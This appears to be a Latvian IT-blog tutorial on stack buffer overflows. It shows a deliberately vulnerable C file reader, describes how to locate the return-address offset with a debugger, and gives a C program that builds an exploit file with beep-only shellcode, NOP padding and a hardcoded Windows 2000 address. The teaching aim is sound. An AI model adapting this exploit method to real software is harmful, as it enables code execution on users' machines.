Bufera pārpildes problēma

Šajā rakstā centīšos pastāstīt par joprojām aktuālo mūsdienu programmu problēmu – bufera pārpildi (buffer overflow, buffer underrun). Pastāstīšu kā tā rodas un kādas tam var būt sekas. Cik esmu novērojis daudziem ir tikai minimāls priekštats vai vispār nav priekštata par bufera pārpildi un programmu ekspluatēšanu (exploit), tāpēc šis raksts domāts viņiem. Pārējie var tālāk nelasīt, jo neko jaunu neuzzinās.

Tātad sāksim no sākuma. Kas tad īsti ir bufera pārpilde? Rupji runājot bufera pārpilde notiek, kad programma cenšas ierakstīt buferī vairāk informācijas nekā tā sākotnēji ir rezervējusi šiem mērķiem. Ļaundariem rodas iespēja pārrakstīt datus, kas kontrolē programmas izpildi, pārņemt kontroli un izpildīt savu kodu, kurš iespējams var būt destruktīvs un sagādat jums lielas galvassāpes.

Mēs visi zinam, kā aizsargāties no vīrusiem, mēs zinam, ka nedrīkst vērt vaļā aizdomīgus e-mailus un palaist tajos pievienotās programas ([i].exe[/i], [i].cpl[/i], [i].scr[/i] utt.), bet mēs nevaram sevi aizsargāt no bufera parpildes, jo ļaunais kods var slēpties pilnīgi “nevainīgos” failos kā [i].jpg[/i], [i].mp3[/i], [i].avi[/i]. Patiesībā tas var būt jebkur, pat parastā teksta failā, ja programma, kas to apstrādā, nav aizsargāta pret bufera parpildīšanos.

Šī problēma ir aktuāla jau daudzus gadus, bet neviens tai nepievērsa pienācīgu uzmanību. Dēļ šīs nolaidības mums nākas ciest vēl šodien un iespējams, ka arī tuvākajos gados nekas daudz nemainīsies. Tieši bufera pārpilde pēdejos gados ir bijusi viena no visizplatītākajām programmu ievainojamībām un programmētāju galvassāpem. Kā piemēru var minēt to pašu nelaimīgo tārpu Blaster, kurš liek par sevi manīt vēl šodien, ja pieslēdzam tīklam datoru bez attiecīgajiem ielāpiem. Jāatzīst, ka beidzot arī lielie brendi ir sākuši domāt par šo problēmu, izstrādājot procesorus ar Execute Disable Bit, izlaižot jaunas programmu versijas, kurās praktiski ir labota tikai buferu pārpildes problēma, bet tas viss ir tikai cīņa ar sekām. Interesanti ar kuru galu viņi domāja pirms kādiem desmit gadiem.

Tiem kam neinteresē šīs problēmas tehniskā puse, tālāk var nelasīt.

Vispirms mums ir jāizšķir divi bufera pārpildes veidi – stack un heap. Heap buferi ir dinamiski, tie tiek izveidoti ar funkcijas [i]malloc()[/i] vai operatora [i]new[/i] palīdzību. Šī tipa buferi mums interesē mazāk, jo rezultāts nebūs tik jauks kā ekspluatējot stack buferus. Dažos gadījumos arī šo buferu pārpilde mums var noderēt, bet pārsvarā tas der tikai [b]Denial of Service[/b] (DoS) uzbrukumiem. Statiskie funkcijas buferi un funkcijas parametri tiek pierakstīti stekā. Šoreiz sīkāk parunāsim par stack buferiem.

Programmas strādā secīgi izpildot procesora instrukcijas. Šim nolūkam procesoram ir speciāls reģistrs, kas rūpējas par pareizu programmas instrukciju izpildi. Šo reģistru sauc [b]EIP[/b] (Extended Instruction Pointer) un tajā glabājas nākošās izpildāmās instrukcijas adrese. Kad tiek izsaukta kāda funkcija, tad atpakaļadrese, kura nepieciešama, lai programma varētu turpināt izpildi, tiek pierakstīta stekā. Pēc funkcijas izpildes šī adrese tiek ierakstīta reģistrā [b]EIP[/b]. Ja mums izdodas pārpildīt buferi, tad rodas iespēja šo atpakaļadresi pārrakstīt ar mūsējo, tādejādi pārņemot kontroli pār programmas izpildi.

Tagad apskatīsim praktisku bufera pārpildes piemēru. Tātad mums ir programma, kas nolasa vienkārša teksta faila saturu un parāda to uz ekrāna.

[q]

int main () {
	char buffer[100];
	FILE *fd;

	fd = fopen("file.txt","rb");

	if(fd == NULL) {
		printf("Nevaru atveert failu");
		return 1;
	}

	fgets(buffer,200,fd);

	printf("Faila saturs: %s",buffer);

	fclose(fd);

	return 0;
}

[/q]

Šis ir mazliet pārspīlēts gadījums, bet tas spilgti demonstrē tipisku bufera pārpildi. Aplūkojot kodu redzam, ka 100 baitu buferī tiek ielasīts līdz 200 baitiem. Normālos apstākļos, ja faila pirmā rindiņa nav garāka par 100 baitiem, tad nekas ļauns nenotiek.

Ekspuatējamā programma

Pieņemsim, ka mēs nezinam cik liels ir buferis, tāpēc izveidosim failu pietiekami lielu, lai tas pārpildītu buferi. Mazliet paeksperimentējot ar faila izmēru mēs secinam, ka kļūdas paziņojumu saņemam, ja fails ir lielāks par 100 baitiem un mazāks par 148 baitiem. Tagad mums ir jāatrod precīza atpakaļadreses pārrakstīšanas vieta. Kā jau noskaidrojām tā atraodas kaut kur starp 100. un 148. baitu. Šī ir 32 bitu programma un atpakaļadrese būs 4 baitus gara. Izveidojam aptuveni šādu failu – AAAABBBBCCCCDDDDEEEEFFFF… Tā turpinam līdz fails kļūst pietiekami liels, lai izsauktu bufera pārpildi.

Kļūdas paziņojums

Aplūkojot šo kļūdas paziņojumu mēs redzam, ka mums sekmīgi ir izdevies pārpildīt buferi un pārrakstīt atpakaļadresi. Manā konkrētajā gadījumā atpakaļadrese tika pārrakstīta ar burtiem ZZZZ (0x5a5a5a5a). Tātad atpakaļadrese tiek pārrakstīta ar 101., 102., 103. un 104. baitu.

Tagad mums tikai atliek uzrakstīt pašu exploitu. Vispirms mums ir jānoskaidro mūsu pārpildītā bufera adrese. Mazliet pasekojot līdzi instrukciju izpildei ar [i]OllyDbg[/i], mēs ātri noskaidrojam, ka bufera adrese ir 0x0012FF20. Šo adresi apgrieztā veidā mēs pierakstīsim mūsu teksta failā burtu ZZZZ vietā.

Tagad mums ir jāizdomā ko mēs īsti gribam izdarīt uz upura datora. Tālākā darbība ir atkarīga no jūsu asamblera zināšanām. Internetā ir pieejami daudz gatavi shellcode piemēri, ja jūs nejūtaties pietiekami spēcīgi šajā jomā vai arī jums nav nepieciešams veikt nekādas specifiskas darbības uz upura datora. Shellcode rakstīšana var būt ļoti ķēpīga padarīšana, jo jāņem vērā dažādi ierobežojumi. Ļoti būtiska nianse ir upura operētājsistēma, jo katrā sistēmas versijā atšķiras sistēmas funkciju adreses. Ir iespējams uzrakstīt shellcode, kurš izmanto funkcijas [i]LoadLibraryA[/i] un [i]GetProcAddress[/i], bet tā jau ir katra paša izvēle. Būtiski ir arī, lai shellcode nebūtu lielāks par buferi. Šajā gadījumā shellcode var būt līdz 100 baitiem garš. Jāievēro, ka mūsu shellcode nedrīkst saturēt “sliktos” simbolus, kuri katrā konkrētajā programmā var atšķirties. Šoreiz mums jāizvairās no nullēm un jaunām līnijām, jo programma nolasa tikai pirmo līniju no teksta faila. Dažkārt izvairīšanās no “sliktajiem” simboliem ir gandrīz neiespējama vai arī ļoti apgrūtinoša.

Mans shellcode būs ļoti primitīvs un paredzēts tikai lietotāja informēšanai, ka exploits ir izdevies. Ir vairāki veidi, kā rakstīt shellcode. Es to darīšu ar [i]OllyDbg[/i] palīdzību.

Shellcode

Man sanāca šāds kods, kas vienkārši liek datora pīkstulim nepārtraukti pīkstēt. Šeit protams varēja būt arī kāds destruktīvs kods, kas noslaucītu no cietā diska lietotāja gadiem krāto mūzikas un filmu kolekciju vai arī kursadarbu, kas cītīgi tika rakstīts pēdējos mēnešus.

[q]

int main() {
	char buffer[200];
	FILE *fd=NULL;
	
	char shellcode[] =	"\x68\xff\xff\xff\x0f" // push 0fffffff
			"\xb8\xb1\x1e\x11\x11" // mov eax, 11111eb1
			"\x35\x11\x11\x11\x11" // xor eax, 11111111
			"\x50" // push eax
			"\xe8\x05\x8e\x46\x7c";// call KERNEL32.Beep

	char address[]="\x20\xFF\x12\x00"; // ekspluatējamā bufera adrese

	char padding[]=	"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
			"\x90\x90\x90\x90\x90\x90\x90\x90\x90";
	
	fd = fopen("file.txt","w+");

	strcpy(buffer,shellcode);
	strcat(buffer,padding);
	strcat(buffer,address);
	
	fprintf(fd,"%s",buffer);
	
	fclose(fd);

	return 0;
}

[/q]

Visu saliekot kopā mums sanāk šāda programmiņa, kas izveido teksta failu, kas pārpildīs buferi un ekspluatēs to. Šis shellcode darbosies tikai uz Windows 2000 SP4, ja ir vēlme ekspluatēt programmu uz citas windows versijas, tad būs nepieciešams noskaidrot pareizu funkcijas [i]Beep()[/i] adresi. Uz Windows 2000 SP4 tā ir 0x7C598D3A.

Protams, ka šis bija tikai neliels ieskats bufera pārpildes problēmā, bet ceru, ka šis raksts deva vismaz nelielu izpratni par šo problēmu. Atliek tikai cerēt, ka jaunie un īpaši jau pieredzējušie programmētāji sāks rakstīt drošu kodu. Labāk pierakstīt dažas liekas rindiņas kodā, kas vairākas reizes pārbauda datus pirms tos rakstīt buferī, nevis paļaujas, ka neviens nemēģinās to pārpildīt un ekspluatēt. Cietēji ir visi, gan programmētāja un firmas labā slava, gan programmas lietotāji.

Labākie un svaigākie joki Latvijā.

Share on facebook
Share on twitter
Share on linkedin
Share on whatsapp

Atbildēt

Jūsu e-pasta adrese netiks publicēta. Obligātie lauki ir atzīmēti kā *

Datuve.lv – IT un Tehnoloģiju ziņas || Copyright © 2004-2020 || Kontaktinformācija: info@datuve.lv  || Contact Us